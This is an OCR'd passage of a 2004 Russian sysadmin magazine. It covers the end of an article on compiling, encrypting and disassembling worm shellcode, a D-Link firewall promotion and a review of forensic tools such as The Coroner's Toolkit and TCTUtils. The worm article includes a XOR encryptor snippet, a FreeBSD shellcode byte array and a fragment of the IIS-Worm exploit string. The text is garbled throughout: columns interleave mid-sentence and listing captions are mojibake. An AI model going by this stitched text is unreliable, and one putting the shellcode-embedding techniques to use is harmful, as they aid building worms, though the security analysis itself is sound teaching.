применительно к MASM командная строка может выгля-
деть, например, так: ml.exe /c «file name.asm». С линков-
кой все намного сложнее. Штатные компоновщики такие,
например, как Microsoft Linker наотрез откажутся транс-
лировать shell-код в двоичный файл и в лучшем случае
сварганят из него стандартный PE, из который shell-код
придется вырезать руками. Использование ключа /VXD су-
щественно упрощает нашу задачу, т.к. во-первых, теперь
линкер больше не матерится на отсутствующий старто-
вый код и не порывается внедрять его в целевой файл
самостоятельно, а, во-вторых, вырезать shell-код из vxd-
файла намного проще, чем из PE. По умолчанию в vxd-
файле shell-код располагается начиная с адреса 1000h и
продолжается до самого конца файла. Точнее, практичес-
ки до самого конца – один или два хвостовых байта могут
присутствовать по соображениям выравнивания, однако,
нам они не мешают.
Теперь полученный двоичный файл необходимо за-
шифровать (если, конечно, shell-код содержит в себе шиф-
ровщик). Чаще всего для этого используется уже упомя-
нутый HIEW, реже – внешний шифровщик, на создание
которого обычно уходит не больше чем десяток минут:
fopen/fread/for(a = FROM_CRYPT; a < TO_CRYPT; ↵
a+=sizeof(key)) buf[a] ^= key;/fwrite
При всех достоинствах HIEW главный минус его шиф-
ровщика заключается в том, что полностью автоматизи-
ровать процесс трансляции shell-кода в этом случае ока-
44
зывается невозможно и при частых перекомпиляциях не-
обходимость ручной работы дает о себе знать. Тем не
менее… лучше за час долететь, чем за пять минут добе-
жать – программировать внешний шифровщик поначалу
лениво, вот все и предпочитают заниматься Камаcутрой
с HIEW, чем автоматизировать серые будни унылых дож-
дливых дней окружающей жизни.
Затем готовый shell-код тем или иным способом имп-
лантируется в основное тело червя, как правило, пред-
ставляющее собой Си-программу. Самое простое (но не
самое лучшее) – подключить shell-код как обыкновенный
obj, однако этот путь не свободен от проблем. Чтобы оп-
ределить длину shell-кода, потребуются две публичные
метки – в его начале и конце. Разность их смещений и
даст искомое значение. Но это еще что – попробуйте-ка с
разбега зашифровать obj-файл. В отличие от «чистого»
двоичного файла, привязываться к фиксированным сме-
щениям здесь нельзя, и приходится прибегать к анализу
служебных структур и заголовка, что также не добавляет
энтузиазма. Наконец, нетекстовая природа obj-файлов
существенно затрудняет публикацию и распространение
исходных текстов червя. Поэтому (а может быть, просто в
силу традиции) shell-код чаще всего внедряется в програм-
му непосредственно через строковой массив, благо язык
Си поддерживает возможность введения любых HEX-сим-
волов, естественно, за исключением нуля, т.к. последний
служит символом окончания строки.
Это может выглядеть, например, так (разумеется, на-
бивать hex-коды вручную совершенно необязательно –
быстрее написать несложный конвертер, который все сде-
лает за вас):
Ëèñòèíã 27. Ïðèìåð âêëþ÷åíèÿ shell-êîäà â Ñè-ïðîãðàììó
unsigned char x86_fbsd_read[] =
"\x31\xc0\x6a\x00\x54\x50\x50\xb0\x03\xcd\x80\x83\xc4"
"\x0c\xff\xff\xe4";
Теперь поговорим об укрощении компилятора и опти-
мизации программ. Как запретить компилятору внедрять
start-up и RTL-код? Да очень просто – достаточно не объяв-
лять функцию main, принудительно навязав линкеру но-
вую точку входа посредством ключа /ENTRY.
Покажем это на примере следующей программы:
Ëèñòèíã 28. Êëàññè÷åñêèé âàðèàíò, êîìïèëèðóåìûé îáû÷íûì
ñïîñîáîì: cl.exe /Ox file.c
#include <windows.h>
main()
{
MessageBox(0, "Sailor", "Hello", 0);
}
Будучи откомпилированной с настройками по умолча-
нию, т.е. cl.exe /Ox »file name.c» она образует исполняе-
мый файл, занимающий 25 Кб. Не так уж и много, но не
торопитесь c выводами. Сейчас вы увидите такое…
Ëèñòèíã 29. Îïòèìèçèðîâàííûé âàðèàíò, êîìïèëèðóåìûé òàê:
cl.exe /c /Ox file.c, à ëèíêóåìûé òàê: link.exe /ALIGN:32/
DRIVER/ENTRY:my_main /SUBSYSTEM:console file.obj USER32.lib
#include <windows.h>

my_main()
{
MessageBox(0, "Sailor", "Hello", 0);
} с «живым» сервером вам никто не даст, и уязвимое про-
Слегка изменив имя главной функции программы и
подобрав более оптимальные ключи трансляции, мы со-
кратим размер исполняемого файла до 864 байт, причем
большую его часть будет занимать PE-заголовок, табли-
ца импорта и пустоты, оставленные для выравнивания,
т.е. на реальном полновесном приложении, состоящем из
сотен, а то и тысяч строк, разрыв станет еще более за-
метным, но и без этого мы сжали исполняемый файл бо-
лее, чем в тридцать раз (!), причем безо всяких ассемб-
лерных извращений.
Разумеется, вместе с RTL гибнет и подсистема ввода-
вывода, а, значит, большинство функций из библиотеки
stdio использовать не удастся и придется ограничиться
преимущественно API-функциями.
Декомпиляция червя
Обсуждая различные аспекты компиляции червя, мы ре-
шали задачу, двигаясь от прямого к обратному. Но стоит
нам оглянуться назад, как позади не останется ничего.
Приобретенные навыки трансляции червей окажутся прак-
тически или полностью бесполезными перед лицом их
анализа. Ловкость дизассемблирования червей опирает-
ся на ряд неочевидных тонкостей, о некоторых из кото-
рых я и хочу рассказать.
Первой и наиболее фундаментальной проблемой яв-
ляется поиск точки входа. Подавляющее большинство
червей, выловленных в живой природе, доходят до иссле-
дователей либо в виде дампа памяти пораженной маши-
ны, либо в виде отрубленной головы, либо… в виде ис-
ходной кода, опубликованного в том или ином e-zin.
Казалось бы, наличие исходного кода просто не остав-
ляет места для вопросов. Ан нет! Вот перед нами лежит
фрагмент исходного текста червя IIS-Worm с shell-кодом
внутри.
Ëèñòèíã 30. Ôðàãìåíò èñõîäíîãî êîäà ÷åðâÿ
char sploit[] = {
0x47, 0x45, 0x54, 0x20, 0x2F, 0x41, 0x41,
0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
… вя, т.е. на строку «GET /AAAAAAAAAAAAAAAAAA…», а
0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21,
0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21,
0x2E, 0x68, 0x74, 0x72, 0x20, 0x48, 0x54,
0x54, 0x50, 0x2F, 0x31, 0x2E, 0x30, 0x0D,
0x0A, 0x0D,0x0A };
Попытка непосредственного дизассемблирования shell-
кода ни к чему хорошему не приведет, поскольку голова чер-
вя начинается со строки «GET /AAAAAAAAAAAAAAAAAA…»,
ни в каком дизассемблировании вообще не нуждающей-
ся. С какого байта начинается актуальный код – допод-
линно неизвестно. Для определения действительного по-
ложения точки входа необходимо скормить голову червя
уязвимому приложению и посмотреть: куда метнется ре-
гистр EIP. Это (теоретически!) и будет точкой входа. Прак-
тически же это отличный способ убить время, но не бо-
лее того.
№4(17), апрель 2004
безопасность
Начнем с того, что отладка – опасный и неоправданно
агрессивный способ исследования. Экспериментировать
граммное обеспечение должно быть установлено на от-
дельный компьютер, на котором нет ничего такого, что
было бы жалко потерять. Причем это должна быть имен-
но та версия программного обеспечения, которую вирус в
состоянии поразить, ничего ненароком не обрушив, в про-
тивном случае управление получит отнюдь не истинная
точка входа, а неизвестно что. Но ведь далеко не каждый
исследователь имеет в своем распоряжении «зоопарк»
программного обеспечения различных версий и кучу опе-
рационных систем!
К тому же далеко не факт, что нам удастся определить
момент передачи управления shell-коду. Тупая трассиров-
ка здесь не поможет, – современное программное обес-
печение слишком громоздко, а передача управления мо-
жет осуществляться спустя тысячи, а то и сотни тысяч ма-
шинных инструкций, выполняемых в том и числе и в па-
раллельных потоках. Отладчиков, способных отлажи-
вать несколько потоков одновременно, насколько мне из-
вестно, не существует (во всяком случае, они не были
представлены на рынке). Можно, конечно, установить «ис-
полняемую» точку останова на регион памяти, содержа-
щий в себе принимающий буфер, но это не поможет в тех
случаях, когда shell-код передается по цепочке буферов,
лишь один из которых подвержен переполнению, а осталь-
ные – вполне нормальны.
С другой стороны, определить точку входа можно и
визуально. Просто загрузите shell-код в дизассемблер и,
перебирая различные стартовые адреса, выберите из них
тот, что дает наиболее осмысленный код. Эту операцию
удобнее всего осуществлять в HIEW или любом другом
HEX-редакторе с аналогичными возможностями (IDA для
этих целей все же недостаточно «подвижна»). Будьте го-
товы к тому, что основное тело shell-кода окажется зашиф-
ровано и осмысленным останется только расшифровщик,
который к тому же может быть размазан по всей голове
червя и умышленно «замусорен» ничего не значащими
инструкциями.
Если shell-код передает на себя управление посред-
ством JMP ESP (как чаще всего и происходит), тогда точ-
ка входа переместится на самый первый байт головы чер-
отнюдь не на первый байт, расположенный за ее концом,
как это утверждают некоторые руководства. Именно так
устроены черви CodeRed 1,2 и IIS_Worm.
Значительно реже управление передается в середину
shell-кода. В этом случае стоит поискать цепочку NOP,
расположенную в окрестностях точки входа и используе-
мую червем для обеспечения «совместимости» с различ-
ными версиями уязвимого ПО (при перекомпиляции мес-
тоположение переполняющегося буфера может менять-
ся, но не сильно, вот NOP и выручают, играя ту же роль,
что и воронка при вливании жидкости в бутылку). Другую
зацепку дает опять-таки расшифровщик. Если вы найде-
те расшифровщик, то найдете и точку входа. Можно так-
же воспользоваться визуализатором IDA типа «flow chart»,
отображающим потоки управления, чем-то напоминающие
45
 безопасность
добротную гроздь винограда с точкой входа в роли черен-
ка (см. рис. 3).
Рассмотрим достаточно сложный случай – самомо-
дифицирующуюся голову червя Code Red, динамичес-
ки изменяющую безусловный JMP для передачи управ-
ления на тот или иной участок кода. Очевидно, что IDA
не сможет автоматически восстановить все перекрест-
ные ссылки, и часть функций «зависнет», отпочковав-
шись от основной грозди. А мы в результате получим
четыре претендента на роль точек входа. Трое из них
отсеиваются сразу, т.к. содержат бессмысленный код,
обращающийся к неинициализированным регистрам и
переменным. Осмысленный код дает лишь истинная
точка входа – на этой диаграмме она расположена чет-
вертой слева.
Ðèñóíîê 3. Âèçóàëèçàòîð IDA, îòîáðàæàþùèé ïîòîêè óïðàâëåíèÿ â ôîðìå äèàãðàììû (ìåëêèé ìàñøòàá)
46
Сложнее справиться с проблемой «привязки» shell-
кода к окружающей его среде обитания, например, содер-
жимому регистров, доставшихся червю от уязвимой про-
граммы. Как узнать, какое они принимают значение, не
обращаясь к уязвимой программе? Ну наверняка-то ска-
зать невозможно, но в подавляющем большинстве случа-
ев это можно просто угадать. Точнее, проанализировав
характер обращения с последними, определить: чего
именно ожидает червь от них. Маловероятно, чтобы червь
закладывался на те или иные константы. Скорее всего он
пытается ворваться в определенный блок памяти, указа-
тель на который и хранится в регистре (например, в реги-
стре ECX обычно хранится указатель this).
Хуже, если вирус обращается к функциям уязвимой
программы, вызывая их по фиксированным адресам. По-

Ðèñóíîê 4. Âèçóàëèçàòîð IDA, îòîáðàæàþùèé ïîòîêè óïðàâëåíèÿ â ôîðìå äèàãðàììû (êðóïíûì ïëàíîì)
пробуй догадайся, за что каждая функция отвечает! Един-
ственную зацепку дают передаваемые функции аргумен-
ты, но эта зацепка слишком слабая для того, чтобы ре-
зультат исследований можно было назвать достоверным
и без дизассемблирования самой уязвимой программы
здесь не обойтись.
Следует сказать, что дамп, сброшенный операционной
системой в ответ на атаку, может и не содержать в себе
никаких объектов для исследований, поскольку обруше-
ние системы недвусмысленно указывает на тот факт, что
атака не удалась и червь вместо строго дозированного
переполнения буфера уничтожил жизненно важные струк-
туры данных. Тем не менее, действуя по методикам, опи-
Что читать
! UNIX Assembly Codes Development for Vulnerabilities
Illustration Purposes – великолепное руководство по на-
писанию shell-кодов для различных клонов UNIX с боль-
шим количеством примеров, работающих практически
на всех современных процессорах, а не только на x86;
http://opensores.thebunker.net/pub/mirrors/blackhat/
presentations/bh-usa-01/LSD/bh-usa-01-lsd.pdf
! Win32 Assembly Components – еще одно великолепное
руководство по написанию shell-кодов, на этот раз ори-
ентированное на семейство NT/x86;
http://www.lsd-pl.net/documents/winasm-1.0.1.pdf
№4(17), апрель 2004
безопасность
санным в статье «Практические советы по восстановле-
нию системы», опубликованной в декабрьском номере
«Системного администратора», мы сможем разгрести этот
мусор и локализовать голову червя. Ну а дальше – дело
техники.
Заключение
Переполнение буфера – в действительности настолько
необъятная тема, что даже настоящая статья при всей ее
обширности не затрагивает и половины видимой части
айсберга, не говоря уже о той глыбе, что спрятана под
водой. Но об этом как ни будь в другой раз…
! Win32 One-Way Shallcode – богатейшая кладезь инфор-
мации, охватывающая все аспекты жизнедеятельности
червей, обитающих в среде NT/x86, да и не только их…
http://www.blackhat.com/presentations/bh-asia-03/bh-asia-
03-chong.pdf
! SPARC Buer Overows – конспект лекций по технике пе-
реполнения буферов на SPARC под UNIX
http://www.dopesquad.net/security/defcon-2000.pdf
! Writing MIPS/IRIX shellcode – руководство по написа-
нию shell-кодов для MIPS/IRIX
http://teso.scene.at/articles/mipsshellcode/mipsshellcode.pdf
47
 безопасность
МЕЖСЕТЕВЫЕ ЭКРАНЫ D-LINK
Современный мир предъявляет к защите локальных се-
тей все более жесткие требования. Зачастую стабильная
работа компании, ее успешная деятельность и доходы во
многом зависят от этого фактора. Если крупная корпора-
ция имеет средства и возможность содержать целые от-
делы, занимающиеся безопасностью корпоративной сети,
то небольшие компании не могут позволить себе вклю-
чить в штат сетевого администратора. В этих условиях
остро возникает необходимость в удобном и надежном
инструменте защиты сети, каким является межсетевой
экран. На данный момент существует огромное количе-
ство реализаций таких устройств. Все они делятся на ап-
паратные и программные. На первый взгляд, программ-
ная реализация межсетевого экрана довольно привлека-
тельна по своим ценовым характеристикам, но, к сожале-
нию, у нее немало недостатков. К таковым можно отнести
сложность настройки и администрирования, а также мень-
шую надежность по сравнению с аппаратными реализа-
циями. Поэтому сегодня хотелось бы подробнее обсудить
линейку межсетевых экранов от компании D-Link. Среди
них есть устройства, которые могут занять достойное мес-
то как в сети крупной компании, так и небольшой органи-
зации. Работая в точке подключения к Интернету, они вы-
полняют функции маршрутизатора и межсетевого экрана.
D-Link выпускает две группы межсетевых экранов:
SOHO и Enterprise. Основные различия этих групп в про-
изводительности, техническом исполнении и предназна-
чении определенному типу заказчика.
Область применения устройств типа SOHO (Small
Office Home Office) – небольшие организации (30-50 ра-
бочих мест), не имеющие в своем штате постоянного сис-
темного администратора. Настройка этих устройств очень
проста и не требует высокой квалификации персонала.
Она целиком производится через веб-интерфейс, что на-
глядно, удобно, быстро и не требует запоминания огром-
ного количества команд.
Группа Enterprise изготавливается в стандартном 19-
дюймовом исполнении, т.к. предназначена для монтажа в
коммуникационный шкаф или стойку. Устройства такого
типа рассчитаны на бесперебойное обслуживание сотен
и тысяч пользователей.
Базовая функциональность межсетевых экранов D-Link
расширена включением дополнительных функций, а именно:
! Защита от атак, приводящих к «Отказу от обслужива-
ния» (DoS), таких как Ping of Death, SYN Flood, LAND
Attack, IP Spoofing, Teardrop и др. Система Anti-DoS
позволяет контролировать число «полуоткрытых» со-
единений. При превышении данного предела эти со-
единения разрываются, а администратору сети отправ-
ляется предупреждение. Скомпрометировавшие себя
хосты заносятся в Blok list.
48
МИХАИЛ ГРИШУНИН
! Списки управления доступом (ACL), реализованные на
основе MAC-адресов, IP-адресов и доменных имен. Эта
функция обеспечивает доступ к Интернету из локаль-
ной сети только доверенных пользователей, а также
позволяет ограничивать доступ к нежелательным ре-
сурсам.
! Поддержка защищенных виртуальных частных сетей
(VPN) позволяет безопасно связывать между собой ло-
кальные сети филиалов предприятия и мобильных
пользователей с использованием шифрованных кана-
лов через Интернет вместо аренды дорогостоящих
выделенных каналов. Поддерживаются алгоритмы
шифрования DES и 3DES, а также аутентификация
MD5 или SHA-1, управление ключами вручную или при
помощи Internet Key Exchange (IKE). Возможность цен-
трального управления всей распределенной сетью сни-
жает расходы на администрирование.
! Выделенный физический DMZ-порт позволяет органи-
зовать отдельную подсеть для Web, Mail или FTP-сер-
веров компании и обеспечить доступ к ним из сети Ин-
тернет, не подвергая внутреннюю сеть опасности атак
извне и уменьшая в ней количество трафика.
! Применение механизма Multihoming позволяет подклю-
чить локальную сеть к Интернету через два и более
провайдеров. Основное преимущество этого механиз-
ма – получение резервного канала связи при обрыве
соединения с одним провайдером и обеспечение по-
стоянного доступа к Web-сервисам, что особенно важ-
но для предприятий и организаций, коммерческая де-
ятельность которых зависит от Интернета. Модель DFL-
1500 предлагает полнофункциональную функцию
Multihoming, которая представляет собой интеллекту-
альный алгоритм автоматической маршрутизации для
динамического распределения трафика между двумя
WAN-каналами связи, обеспечивая балансировку на-
грузки. Это не требует создания сложных таблиц мар-
шрутизации, как в обычных маршрутизаторах, умень-
шая, таким образом, усилия администраторов сети на
их создание.
! Межсетевые экраны D-Link позволяют протоколировать
все события, происходящие на межсетевом экране, в
журнале системных событий или передавать его на
syslog сервера, а при возникновении угрозы безопас-
ности посылать предупреждения по электронной по-
чте. Таким образом, вы можете быть оперативно опо-
вещены о возможной атаке на ваш сервер и вовремя
принять адекватные меры.
Более подробные технические консультации по меж-
сетевым экранам D-Link вы можете получить, отправив
письмо по адресу support@tayle.com.
безопасность

СВОБОДНЫЕ УТИЛИТЫ FORENSIC

Компьютеры и Интернет продолжают проникать и вторгаться в нашу жизнь, увеличивая тем самым
вероятность оказаться жертвой компьютерного преступления. Как ни прискорбно замечать,
несмотря на обилие и разнообразие средств защиты, с каждым годом количество взломов
увеличивается. Оказавшись жертвой взлома, некоторые, бывает, и теряются, что порой приводит
к неправильным решениям. Наверное, одна из самых распространенных ошибок состоит
в немедленном удалении всех данных и восстановлении системы из резервных архивов
и продолжении работы как ни в чем не бывало (хотя настаивать на своем мнении не буду, бывают
разные ситуации). Почему так? Во-первых, не всегда можно сразу точно узнать, когда произошел
взлом, и в архиве могут быть уже «зараженные» тем же rootkits файлы; во-вторых, если повезло
с первым случаем, то где вероятность того, что злоумышленник не воспользуется тем же
способом, что и ранее, для повторного проникновения, и в результате время будет потрачено зря,
и в-третьих, иногда трудно сказать, произошел ли взлом вообще, и чтобы доказать это, требуется
собрать максимальное количество информации, т.к. простой сервера ведет к финансовым потерям
(а еще и имидж, и пр.), и кто-то должен отвечать за это.

СЕРГЕЙ ЯРЕМЧУК

50

Другой путь состоит в том, чтобы остановиться и попы-
таться исследовать и проанализировать происшедшее, а
главное, сохранить образ взломанного компьютера. К со-
жалению, насчет вопроса исследования последствий взло-
ма и используемых при этом инструментов в рунете име-
ется некоторый дефицит информации (а об описываемых
ниже утилитах доводилось читать все, кроме того, чем они
действительно занимаются), которую одной статьей так
сразу и не решить. Но надеюсь вызвать дискуссию (на
страницах журнала или в форуме), в которой попытаться
разобраться и ответить на извечный вопрос «Что делать?»
после взлома. Так, к планированию своих действий в этой
ситуации нужно подходить не менее тщательно, чем к
действию при пожаре.
Если на компьютере установлена одна из систем кон-
троля целостности вроде tripwire (http://www.tripwire.org)
или AIDE – Advanced Intrusion Detection Environment (http://
sourceforge.net/projects/aide), а также система обнаруже-
ния вторжения наподобие Snort (http://www.snort.org/), плюс
средство аудита системы вроде того же Snare (http://
www.intersectalliance.com/projects/Snare/), то у вас будут
ответы на основные вопросы – когда и где происходило
событие, как все произошло, сколько времени и на какие
файлы воздействовали в системе. Теперь осталось осто-
рожно извлечь чужое и проанализировать подробнее.
Стандартные инструментальные средства, которые
имеются в любой системе, для данного действия не под-
ходят по нескольким причинам. Для начала они могут быть
введены в заблуждение при помощи любого широко дос-
тупного rootkits, некоторые инструментальные средства
полагаются на файловую систему или системные коман-
ды, чтобы исследовать диск и поэтому им также нельзя
доверять. Затем системные инструментальные средства
Ðèñóíîê 1
№4(17), апрель 2004
безопасность
могут изменять нужные метаданные (например, время
последнего обращения к файлу). И главное, системные
утилиты позволяют найти только распределенные файлы,
но специализированные могут найти и нераспределенные,
т.е. удаленные или спрятанные файлы. И наконец, допол-
нительно приведенные утилиты могут понадобиться для
исследования файловой системы и процессов восстанов-
ления данных.
The Coroner’s Toolkit (TCT)
Разработанный Dan Farmer и Wietse Venema, это один из
самых первых и самых известных и свободных инструмен-
тов, предназначенных для сбора данных на скомпромети-
рованной системе (http://www.fish.com/tct). Работает с фай-
ловыми системами FFS (FreeBSD, OpenBSD, BSD/OS,
Solaris) и EXT2/3FS, также при помощи патча, доступного
на сайте, можно заставить работать со второй версией
FFS (FreeBSD 5.x), что касается и всех остальных утилит,
участвующих в обзоре, к глубокому сожалению, с новыми
ФС под Linux – ReiserFS, XFS и JFS они не работают. Од-
ной из особенностей этой и подобных утилит является мак-
симальный отказ от утилит исследуемой операционной
системы и максимальное протоколирование всех своих
действий. Так, даже вместо системного командного ин-
терпретатора используется свой. Установка заключается
в получении архива, его распаковки и ввода команды
make. После чего здесь же, в подкаталоге bin, появятся
несколько исполняемых файлов.
По назначению их можно условно поделить на четыре
группы:
! grave-robber – предназначена для захвата данных,
включая даже удаленные с диска, но еще открытые и
находящиеся в памяти.
51
 безопасность

Ðèñóíîê 2
! pcat, ils, icat, file – предназначены для записи и анали- берет в файле conf/look@first и основные настройки бе-
за процессов и данных, содержащихся на диске. рет из файла grave-robber.cf.
! unrm и lazarus – для восстановления и анализа осво- Вывод выглядит так:
божденных дисковых блоков файловой системы.
! mactime – Perl-скрипт, предназначенный для сбора ин- # ./grave-robber
формации о времени последнего обращения, измене-
ния и время создания (mtimes, atimes и сtimes или луч-
ше modification, access или change – так запомнить
легче) файлов и каталогов, при этом не изменяя их.

Теперь поподробней.
Некоторые утилиты могут работать как с «живой» фай-
ловой системой, так и с образом, созданным при помощи
команды dd.

#dd if=/dev/hda9 of=./system.img

Если требуется задать определенный каталог, необ-

Для создания «мгновенного» снимка системы предназ-
начена утилита grave-robber. По умолчанию grave-robber
фиксирует информацию о процессах и состоянии сетевых
соединений, выясняет все, что может, относительно кон-
фигурации аппаратных средств, особенно обращая вни-
мание на диски и дисковые разделы, и исследует состоя-
ние критических файлов (конфигурационные файлы, жур-
налы и пр.). Список исследуемых каталогов программа
ходимо пользоваться опцией -с, которая, в свою очередь,
требует опцию -о, указывающую на используемую опера-
ционную систему.
# ./grave-robber -c /data1 -o LINUX2
Из других параметров, разделенных на три группы
(general, micro data collection и macro data collection), осо-
бо интересными, по моему мнению, являются (по умолча-

52

нию собирается максимальное количество данных, что
занимает довольно много времени):
! -l – на живой системе перед сбором информации вы-
зывает lstat();
! -P – выполняет на живой системе команды ps, lsof, icat
для того, чтобы получить данные о выполняемых про-
цессах и делает копии их исполняемых файлов. Icat-
команда требует привилегий и используется только на
системах, где к исполняемому файлу нельзя обращать-
ся через /proc файловую систему;
! -s – на живой системе при помощи netstat, df собирает ин-
формацию о состоянии хоста и сетевых соединениях;
! -t – собирает информацию от hosts.equiv, .rhosts, and
xhost;
! -M – собирает контрольную сумму MD5 для файлов;
! -v – вывод подробных данных.
В результате работы утилиты в подкаталоге data/
hostname_time (его можно изменить при помощи опции -d),
образуется несколько файлов и каталогов.
В body содержится MAC-база времени, body.S тоже,
но описаны файлы с установленным SUID; command_out –
вывод программ, которые выполняются, с контрольными
суммами и временными метками; conf_vault – програм-
Ðèñóíîê 3
№4(17), апрель 2004
безопасность
мы, которые утилита нашла интересными, в основном кри-
тические и конфигурационные файлы; proc – копии ис-
полняемых файлов запущенных процессов с контрольны-
ми суммами. Может быть еще каталог deleted_files, содер-
жащий удаленные, но еще открытые файлы.
Если необходимо просто просмотреть, изменялось ли
MAC-время доступа к файлам, начиная с определенного
времени (или промежуток при задании двух значений), то
запускаем утилиту mactime, в результате получим колон-
ку, состоящую из значений [date time size MAC (т.е. изме-
нившееся поле) perms owner group file]. Давайте посмот-
рим, какие файлы изменились с 10 января 2004 г. (фор-
мат: месяц/дата/год).
#./mactime 1/10/2004
То есть с указаного времени изменялся inode (..с) фай-
ла deallocvt, если файл недавно копировался или созда-
вался другим способом, то это не должно вызывать по-
дозрений, но если операционная система стоит не один
день, а файл находится в неизменяемой обычно облас-
ти (/bin, /sbin и т. д.), то это должно вызвать подозрения.
53
 безопасность
Ðèñóíîê 4
Хотя, как вы понимаете, все эти времена можно без про-
блем изменить. Далее все, думаю, понятно по аналогии.
Из интересных опций следует отметить -s, показывающую
файлы с установленным SUID/SGID другим цветом, ее не-
обходимо использовать совместно с -h, устанавливающую
вывод в виде html.
Просмотреть, чем сейчас занимается тот или иной про-
цесс, найденный при помощи ps, netstat, или lsof, можно,
запустив команду pcat, которая копирует содержание его
памяти в стандартный вывод.
./pcat 881 | strings | less
Наиболее полную информацию можно получить, исполь-
зуя опцию -H и направив при этом вывод в файл. В осталь-
ных опциях лучше один раз увидеть, чем сто раз прочитать.
Теперь попробуем найти потерянные или спрятанные
файлы. Для этого воспользуемся утилитой ils (inode list),
которая открывает названное устройство и перечисляет
inode. По умолчанию ils выводит inodes только удаленных
файлов.
Опций много, наиболее интересные следующие: опция
-е выводит список всех inode; -o – выводит список всех
inodes удаленных файлов, но таких, которые являются еще
открытыми или выполняются; -r выводит список удален-
ных файлов.
# ./ils -or /dev/hda9
54
Если запустить ее с опцией -о, то будет выведен толь-
ко inode с номером 1.
Поле st_alloc принимает два значения; «a2» – для
allocated inode и «f» – для free inode.
В первом столбце даны значения inodes удаленных, т.е.
не прописанных ни в одном каталоге файлов. Теперь при
помощи icat, позволяющей копировать файл, обращаясь
к нему не по имени, а по номеру inodes, попробуем скопи-
ровать удаленный файл.
# ./icat
# ./icat /dev/hda9 107 > /tmp/delete_file
Чтобы определить, что за файл находится перед нами,
применяется утилита file, которая при помощи трех тес-
тов (filesystem tests, magic number tests и language tests)
пытается дать ответ.
Первый тест пытается выяснить, является файл двоич-
ным (программа или данные в каком-то формате) или со-
держит ASCII-текст. На втором этапе при помощи системно-
го вызова stat пытается определить тип (описаны в sys/stat.h).
И наконец, пытается определить magic number, сохраненный

в определенном месте файла и найти соответствующий из-
вестному типу файла (например, исполняемый elf или a.out).
# ./file /tmp/delete_file
Все, по-моему, понятно без комментариев. От себя до-
бавлю, что вовремя спасенная таким образом программа
без проблем открывалась и выполнялась.
Применив такую конструкцию, можно попытаться вос-
становить все удаленные файлы.
# ./ils -rf ext2fs /dev/hda9 | awk -F '|' '($2=="f") ↵
{print $1}' |
while read i; do /usr/local/tct-1.14/bin/icat /dev/hda9 ↵
$i > /tmp/deleted/$i; done
Но для сохранения данных, содержащихся во всех сво-
бодных inodes файловой системы, в отдельный файл для
последующего анализа предназначена другая утилита –
unrm. При ее использовании необходимо помнить две
вещи: записывать результат нужно в другой раздел жест-
кого диска, иначе потеряете все, и в этом разделе должно
быть достаточно места для сохранения данных. Например,
если создать образ файловой системы размером 10 Гб,
заполненной на 3 Гб при помощи утилиты dd, то он зай-
мет 10 Гб, а если при помощи unrm, то места потребуется
7 Гб (10 – 3), плюс столько же для последующего анализа.
Если не доверяете системной команде dd, то, запустив
unrm с опцией -e, можно создать полный образ раздела:
# ./unrm /dev/hda9 > /home/hda9_urm.res
или если извлечь неиспользованные inodes из предвари-
тельно созданного dd образа.
Ðèñóíîê 5
№4(17), апрель 2004
безопасность
# ./unrm /image/system.img > /home/system_urm.res
В результате можем получить файл довольно прилич-
ных размеров, который перебрать вручную довольно хло-
потное дело. И не надо. Для этого есть специально обу-
ченная утилита lazarus, анализирующая поблочно весь
файл и пытающаяся определить, что за информация на-
ходится в этих блоках, а также связать разрозненные бло-
ки между собой. При этом lazarus понимает кроме FFS,
EXT2/3 и NTFS с FAT32. Утилита читает данные порциями
размером 1 Кб (значение можно изменить в lazarus.cf в
переменной $BLOCK_SIZE), определяет по 10 % блока,
что за данные (текст, двоичные, неизвестные) находятся
в нем. Если текст, то, используя регулярные выражения,
пытается прочитать их, в двоичных пытается определить
формат.
# ./lazarus -h /home/hda9_urm.res
Вывод утилиты – набор символов (если опция -h, то и
HTML-файл, рис. 1), соответствующие распознанным ти-
пам блоков, которых lazarus смог определить. Кроме того,
в каталоге blocks (определен в переменной $blocks в фай-
ле lazaruz.cf или, возможно, переопределить, использовав
флаг -D) создаются файлы, которые содержат данные, най-
денные в блоках. Последовательные блоки того же самого
типа считаются одним и тем же файлом и записываются в
тот же самый выходной файл $blocks/*. Расшифровка вы-
даваемых значений видна на рис. 1. Так, буква «T» означа-
ет текстовый файл, «M» – почтовый, «C» – код на Cи, точка
«.» – файл неопределен. Хотя, бывает, утилита и ошибает-
ся. Далее процесс восстановления описан в документе help-
55
 безопасность

Ðèñóíîê 6
recovering-file и lazarus.README, которые лежат в подката- Для компиляции TCTUtils потребуется наличие установ-
логе doc. Например, текстовые файлы с определенными ленного TCT, путь к каталогу которого необходимо указать
словами можно попробовать найти при помощи grep: в файле src/Makefile в переменной TCT_DIR. После этого в
подкаталоге bin появятся несколько исполняемых файлов.
# egrep -l 'keyword1|keyword2|...' blocks/*.txt > allfiles
# ls bin
Вы видите, насколько мощные и удобные инструменты
имеются в TCT, но все же их возможностей явно не доста- Разберем подробнее. В предыдущих примерах мы на-
точно. Так, нельзя обеспечить анализ по имени файла, про- шли несколько удаленных файлов и даже успели их спас-
вести соответствие inodes с блоками, просмотреть инфор- ти. Но кроме номера inode, о файлах не известно больше
мацию, находящуюся в отдельных блоках. Поэтому был ничего. Пробуем при помощи утилиты istat извлечь осталь-
разработан еще один комплект инструментов, дополняю- ную «спрятанную» информацию.
щих TCT, названный TCTUtils (http://www.cerias.purdue.edu/
homes/carrier/forensics/) и использующий его библиотеки.
Принцип работы прост и основывается на том, что инфор-
мация при удалении файла фактически сохраняется в за-
писях каталога. Выглядит это в общем приблизительно
так (некоторые подробности работы ext2 смотрите в [1].
Каталог имеет для каждого файла четыре существенные
записи: номер inode, длина записи в байтах rec_len, ок-
ругленная до 4, имя файла (name) и длина имени файла
(nam_len). При удалении файла в целях экономии време-
ни запись о нем не удаляется, просто к значению rec_len
предыдущего файла добавляется длина удаляемого, т.е.
фактически утилиты теперь проскакивают над записью
удаленного файла. И теперь утилиты из TCTUtils, анали- Как видите, теперь, кроме номера inode, стала извест-
зируя поля, определяют, у которого поле rec_len больше на информация о размере файла, владельце, режимах до-
требуемого, и таким образом находят спрятанный файл. ступа, МАС-временах, и главное, номера дисковых блоков,

56

в которых записано тело файла. Чтобы заглянуть внутрь
блока, используем другую утилиту bcat, которая может вы-
водить информацию как сырой raw, текст ASCII (опция -а),
hexdump (-h), html (-w), выводить статистику (-s), просмат-
ривать свап (-f swap).
